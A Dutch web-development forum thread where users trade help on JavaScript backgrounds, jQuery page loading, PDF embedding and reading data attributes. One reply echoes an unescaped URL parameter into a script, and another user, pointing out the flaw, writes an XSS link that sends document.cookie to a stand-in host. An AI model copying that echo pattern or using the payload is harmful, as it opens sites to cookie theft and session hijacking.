abonnement Unibet Coolblue Bitvavo
  dinsdag 4 december 2012 @ 13:51:33 #276
343369 Laser.
Love Always Shines
pi_119916835
Ik ga het zo eens proberen, bedankt alvast. Ik heb nu nog een ander probleempje wat eerst opgelost moet worden.

Ik heb het volgende bovenaan de pagina:

1
2
3
<script type="text/javascript">
    document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)";
</script>

De afbeelding bestaat sowieso, dus het pad moet kloppen, maar toch zie ik 'm niet als achtergrond? Div heeft de id "content".
pi_119917870
Als je even je console opent zie je direct of je een foutmelding krijgt en kun je ook zien of het adres daadwerkelijk gevonden kan worden.

gokje is dat'ie document.getElementById('content') is undefined zegt. Omdat je niet wacht tot de dom geladen is.

[ Bericht 31% gewijzigd door KomtTijd... op 04-12-2012 14:34:34 ]
  dinsdag 4 december 2012 @ 14:57:39 #278
343369 Laser.
Love Always Shines
pi_119918695
Thanks ik heb het nu werkend maar zit nog met 1 dingetje. :)

Je hebt op de pagina meerdere vlakken (sections) waar je op kunt klikken, de pagina wordt dan herladen en de URL laat dan bijv zien: index.php?page=art & section=S1

Dus section=S1 voor vakje 1, S2 voor vakje 2 etc.

Als je nu naar mijn script kijkt:

1
2
3
4
5
6
7
8
9
<script type="text/javascript">
var section = "S3";
var img = 1;
function count() {
img = img + 1;
document.getElementById("art").style.backgroundImage = "url(content/art/"+section+"/"+section+"_img"+img+".jpg)";
if (img==4) img=0;
}
</script>

Dan zie je dat section standaard op S3 wordt gezet. Nu wil ik graag dat dat afhankelijk is van op welk vakje je hebt geklikt. Kan ik dat uit de URL halen op een bepaalde manier?

Sowieso is er ook een PHP variable $section wat ook de juiste gegevens heeft. Kan ik dat met elkaar verbinden?

[ Bericht 0% gewijzigd door Laser. op 04-12-2012 15:02:59 ]
  dinsdag 4 december 2012 @ 15:06:31 #279
56176 Catch22-
Ben je Blind?!
pi_119918926
1var section = "<?= $_GET["section"] ?>";
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
  dinsdag 4 december 2012 @ 15:17:39 #280
343369 Laser.
Love Always Shines
pi_119919217
Oh ja dat kan natuurlijk gewoon... :D

Thanks! :)
pi_119919422
Nu alleen nog mensen zo gek krijgen te klikken op zulks een link:
index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie})
pi_119928098
quote:
14s.gif Op dinsdag 4 december 2012 15:24 schreef KomtTijd... het volgende:
Nu alleen nog mensen zo gek krijgen te klikken op zulks een link:
index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie})
Ach, mensen klikken ook op dit soort pareltjes.

quote:
javascript:__doPostBack('ctl00$ContentPlaceHolderPage$BottomPaging$PageButtonRepeater$ctl02$PageLinkButton','')
Er sterft altijd een beetje van mezelf als ik zulke dingen zie :(
Nee.
  dinsdag 4 december 2012 @ 19:58:06 #283
12221 Tijn
Powered by MS Paint
pi_119930083
Ik dacht ook dat het normaal was om even statusbalk naar de href van een link te kijken voordat je erop klikt, maar ik ben er inmiddels na een hoop contact met gebruikers wel achter dat echt niemand iets met die informatie doet :')
  woensdag 5 december 2012 @ 13:16:08 #284
390538 Dimauro
Vuurbezweerder
pi_119953468
Ik ben sinds een week aan het stunten met een (kleine) website. Notepad + + gedownload om de bestanden snel aan te kunnen passen, en een bronmap aangemaakt voor de verschillende files. De index in html gemaakt, de opmaak met css. Ik wilde graag een goede basis hebben voordat ik foto's en andere dingen zou gaan proberen, dus het oogt nog een beetje kaal misschien.

Ik heb een klein JQuery scriptje van iemand gebruikt om de menu linkjes in de #content div te laden en de html bestanden omgenoemd naar php.

1
2
3
4
5
6
7
8
9
10
11
$(document).ready(function(){
    // index laden bij start
    $('#content').load('content/index.php');
    
    // navigatie laden bij klikken
    $('ul#nav li a').click(function() {
        var page = $(this).attr('href');
        $('#content').load('content/' + page + '.php');
        return false;
    });
});

Ik heb alles werkend in Firefox, maar twee vragen:
1. als ik de pagina kleiner maak 'drijven' de float elementen heen en weer uit de parent div, gaat dat over na omzetten en hosten of moet ik dat aanpassen?
2. het scriptje werkt niet in Chrome en naar IE durf ik eigenlijk niet te kijken. Is dit de juiste manier om pagina's in de #content te laden of moet ik iets anders gebruiken?

Ik hoop dat iemand wat tips heeft.

ps. hier nog de indexpagina en de css http://jsfiddle.net/QDavN/ mocht dat helpen.
w3 validator = passed html5 :)
I'm not the girl in the picture..
  woensdag 5 december 2012 @ 13:20:36 #285
56176 Catch22-
Ben je Blind?!
pi_119953625
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
  woensdag 5 december 2012 @ 13:29:27 #286
390538 Dimauro
Vuurbezweerder
pi_119953936
quote:
k had example F uit het eerste artikel aangehouden, zal nog even door de css kijken of ik misschien iets verkeerd heb aangepast :@
I'm not the girl in the picture..
  woensdag 5 december 2012 @ 13:48:36 #287
56176 Catch22-
Ben je Blind?!
pi_119954618
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
  woensdag 5 december 2012 @ 15:12:57 #288
390538 Dimauro
Vuurbezweerder
pi_119957803
1. is opgelost ik had de #container div geen width meer meegegeven :)
I'm not the girl in the picture..
  vrijdag 7 december 2012 @ 14:12:20 #289
137776 boem-dikkie
Jedi Mind Baby!
pi_120037088
Hier mensen ervaring met een simpel framework of plugin (jQuery of Javascript of zo) om een PDF te tonen in een pagina? Ik heb nu een iframe gebruikt maar dat is natuurlijk extreem ouderwets. Plus dat hij in Safari het al niet heel fijn doet, en (ondanks nog niet getest) Internet Explorer dit vast ook niet heel fijn vindt.

PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
  vrijdag 7 december 2012 @ 14:26:20 #290
134533 donroyco
dus niet Donroyco
pi_120037701
quote:
14s.gif Op vrijdag 7 december 2012 14:12 schreef boem-dikkie het volgende:
Hier mensen ervaring met een simpel framework of plugin (jQuery of Javascript of zo) om een PDF te tonen in een pagina? Ik heb nu een iframe gebruikt maar dat is natuurlijk extreem ouderwets. Plus dat hij in Safari het al niet heel fijn doet, en (ondanks nog niet getest) Internet Explorer dit vast ook niet heel fijn vindt.

PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d.
http://www.jquery4u.com/j(...)-pdf-viewer-plugins/
Op maandag 29 september 2008 11:45 schreef HostiMeister het volgende:
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
  vrijdag 7 december 2012 @ 14:44:08 #291
137776 boem-dikkie
Jedi Mind Baby!
pi_120038367
quote:
PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken. :')

Ik heb met een iFrame geprobeerd en inmiddels getest in Internet Explorer 6, 7 en 8, Firefox, Chrome en Safari en in alle browsers nagelijk hetzelfde resultaat. Denk dat ik het maar gewoon bij een iframe houd.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
  vrijdag 7 december 2012 @ 14:56:13 #292
134533 donroyco
dus niet Donroyco
pi_120038910
quote:
14s.gif Op vrijdag 7 december 2012 14:44 schreef boem-dikkie het volgende:

[..]

PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken. :')

Ik heb met een iFrame geprobeerd en inmiddels getest in Internet Explorer 6, 7 en 8, Firefox, Chrome en Safari en in alle browsers nagelijk hetzelfde resultaat. Denk dat ik het maar gewoon bij een iframe houd.
Jammer :{
Op maandag 29 september 2008 11:45 schreef HostiMeister het volgende:
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
  vrijdag 7 december 2012 @ 15:10:30 #293
137776 boem-dikkie
Jedi Mind Baby!
pi_120039507
Heb met de Google API ook resultaat. Die werkt mooi.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
pi_120040214
Iframe is helemaal niet zo gek. Gewoon door de pdf-reader van de gebruiker af laten handelen.

Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft.
  zaterdag 8 december 2012 @ 11:37:46 #295
37634 wobbel
Da WoBBeL King
pi_120069581
Help :P

Ik heb de volgende HTML code
1
2
3
4
5
6
7
8
    <div class="note grey" style="left:343px;top:284px;z-index:43" data-id="32">
        Test test Test test Test test Test test 
        <div class="author">Henk de Tank</div>
    </div>
    <div class="note red" style="left:629px;top:0px;z-index:45" data-id="31">
        Doet ie het?
        <div class="author">Einzzzstein</div>
    </div>

Nu wil ik achter het data-id komen bij een klik, maar ik heb van alles geprobeerd maar het lukt niet :( ik krijg undefined met de volgende code

1
2
3
    $("div.note").dblclick(function(event) {
        alert($(event).data("id"));
        })


[ Bericht 6% gewijzigd door wobbel op 08-12-2012 11:42:48 ]
pi_120069733
Je kan $(event).dataset.id proberen, maar dat werkt geloof ik nog niet in alle browsers. Anders is $(event).attr("data-id") altijd wel een veilige optie.;.

edit:
Kan het nu even niet testen, maar volgens mij is event nog niet het DOM element, dus heb je waarschijnlijk $(event.currentTarget) nodig. Zal straks ff checken.

[ Bericht 36% gewijzigd door picodealion op 08-12-2012 11:51:21 ]
  zaterdag 8 december 2012 @ 11:52:07 #297
37634 wobbel
Da WoBBeL King
pi_120069915
$(event).dataset.id doet helemaal niks, $(event).attr("data-id") geeft inderdaad undefined.
pi_120069973
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).


this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
  zaterdag 8 december 2012 @ 13:22:51 #299
137776 boem-dikkie
Jedi Mind Baby!
pi_120072155
quote:
14s.gif Op vrijdag 7 december 2012 15:29 schreef KomtTijd... het volgende:
Iframe is helemaal niet zo gek. Gewoon door de pdf-reader van de gebruiker af laten handelen.

Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft.
Nu ook een iFrame maar wel met de API van Google. Die doet het ook in Firefox, waar Firefox zonder plugins normaal vraagt of je de PDF wil openen of downloaden, in plaats van tonen op de pagina. Alle Internet Explorers ondersteunen de Google Docs API en Firefox, Chrome en Safari werken ook prima dus ik vind het mooi zo.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
  zaterdag 8 december 2012 @ 13:24:05 #300
137776 boem-dikkie
Jedi Mind Baby!
pi_120072189
quote:
2s.gif Op zaterdag 8 december 2012 11:55 schreef picodealion het volgende:
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).

this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
$(this) werkt sowieso wel mooi voor dit soort dingen.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
abonnement Unibet Coolblue Bitvavo
Forum Opties
Forumhop:
Hop naar:
(afkorting, bv 'KLB')